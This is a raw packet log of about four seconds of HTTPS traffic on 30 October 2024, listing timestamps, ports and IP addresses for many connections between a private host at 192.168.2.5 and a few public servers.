Oct 30, 2024 18:06:32.939307928 CET	49738	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.939317942 CET	443	49738	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.942038059 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.942094088 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.942166090 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.942312002 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:32.942332983 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:32.943346024 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:33.144861937 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:33.144929886 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:33.145000935 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:33.175386906 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:33.175386906 CET	49739	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:33.175419092 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:33.175443888 CET	443	49739	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:33.624209881 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.659069061 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.659919977 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.664671898 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.669065952 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.699680090 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.699687004 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.717053890 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.720580101 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.765074015 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.776411057 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.776437998 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.778860092 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.778858900 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.778870106 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.778884888 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.779340982 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.779350996 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.779810905 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.779849052 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.780080080 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.780092955 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.780870914 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.780885935 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.781651020 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.781661034 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.781820059 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.781840086 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.782286882 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.782298088 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913368940 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913393021 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913414001 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913440943 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913448095 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913472891 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913505077 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913537025 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.913551092 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.913575888 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.913579941 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.914781094 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.914808989 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.915069103 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.917346954 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.933768988 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.933768988 CET	49743	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.933795929 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.933801889 CET	443	49743	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.934916973 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.934916973 CET	49742	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.934947968 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.934961081 CET	443	49742	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.935672998 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.935714960 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.935755014 CET	49744	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.935795069 CET	443	49744	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.936582088 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.936582088 CET	49741	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.936589003 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.936602116 CET	443	49741	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.937696934 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.937696934 CET	49740	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:33.937711000 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:33.937721014 CET	443	49740	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.133821011 CET	49745	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.133872032 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.134224892 CET	49745	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.135171890 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.135292053 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.135549068 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.178006887 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.178044081 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.178121090 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.178312063 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.178356886 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.178512096 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.210361004 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.210377932 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.210514069 CET	49745	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.210539103 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.211182117 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.211218119 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.498842001 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.498888016 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.499751091 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.499782085 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.499820948 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.500818968 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.500832081 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.867821932 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:34.867861986 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:34.867928982 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:34.870989084 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:34.871069908 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:34.871150017 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:34.940926075 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:34.940949917 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:34.941010952 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:34.943846941 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:34.943859100 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:34.944036007 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:34.944103956 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:34.967006922 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.972038984 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.978215933 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.985644102 CET	49745	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.985651970 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:34.986205101 CET	49745	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:34.986208916 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.059880018 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.071260929 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:35.071273088 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:35.076287031 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.076318979 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.077157021 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.077167034 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.082380056 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.082411051 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.082878113 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.082890034 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.119925022 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.120017052 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.120086908 CET	49745	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.172266006 CET	49745	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.172290087 CET	443	49745	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.211251020 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.211322069 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.211431026 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.219858885 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.219933987 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.219997883 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.243671894 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.254525900 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.280194998 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.280219078 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.280683041 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.280689955 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.280884981 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.280925035 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.280941963 CET	49748	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.280951023 CET	443	49748	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.282423019 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.282423973 CET	49746	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.282458067 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.282474041 CET	443	49746	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.284606934 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.284626007 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.285034895 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.285039902 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.314191103 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.314241886 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.314367056 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.315767050 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.315809011 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.315865993 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.343609095 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.343696117 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.343772888 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.406842947 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.406866074 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.408020973 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.408042908 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.413021088 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.413058043 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.413409948 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.413830996 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.413889885 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.414050102 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.414062977 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.414072037 CET	49749	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.414077044 CET	443	49749	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.417552948 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.417710066 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.417762995 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.433978081 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.433995008 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.434006929 CET	49747	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.434012890 CET	443	49747	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.460093975 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.460114002 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.460176945 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.484510899 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.484524965 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.500874043 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.500919104 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:35.501002073 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.502830982 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:35.502856970 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.062417984 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.078861952 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.151391983 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:36.173048973 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.173263073 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.173408031 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.181005955 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.253545046 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.263186932 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.267359018 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.267435074 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.277539015 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.277610064 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.284018993 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.284034014 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.284143925 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.284164906 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.285110950 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.285123110 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.285207987 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.288569927 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.288676023 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.295654058 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:36.295707941 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:36.296828985 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:36.296842098 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:36.296894073 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:36.327713966 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.327811003 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.327869892 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.328074932 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.330378056 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.330408096 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.362371922 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.362653971 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.393831015 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.393884897 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.393902063 CET	443	49756	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.412298918 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:36.412431955 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:36.413034916 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:36.413063049 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:36.429954052 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.429984093 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.430386066 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.430404902 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.430468082 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.430476904 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.430690050 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.430706024 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.430906057 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.430913925 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.431065083 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.431070089 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.431152105 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.431171894 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.431473017 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.431478977 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.445673943 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.445697069 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.446161032 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.446167946 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.466872931 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.466901064 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:36.564074039 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.564199924 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.564313889 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.564394951 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.564426899 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.564548016 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.566715002 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.566773891 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.566838980 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.572782993 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.572782993 CET	49759	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.572805882 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.572815895 CET	443	49759	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.572935104 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.573337078 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.573445082 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.573753119 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.573775053 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.573792934 CET	49760	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.573801041 CET	443	49760	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.575001001 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.575011015 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.575023890 CET	49762	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.575027943 CET	443	49762	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.580743074 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.580854893 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.580933094 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.581298113 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.581315041 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.581326008 CET	49761	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.581332922 CET	443	49761	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.582979918 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.583045006 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.583137035 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.583508968 CET	49756	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.602344990 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.602372885 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.602400064 CET	49758	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.602406979 CET	443	49758	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.603291035 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.603332043 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.605747938 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.605779886 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.605937004 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.606055021 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.606069088 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.615566969 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.615598917 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.615664005 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.616776943 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.616802931 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.616848946 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.617146969 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.617157936 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.617944002 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.617954016 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.619117022 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.619127989 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.619203091 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.619404078 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:36.619411945 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:36.713963985 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.713988066 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.714035034 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.714046955 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.771472931 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.836484909 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.836508036 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.836524963 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.836551905 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.836600065 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.836616993 CET	443	49757	52.123.243.94	192.168.2.5
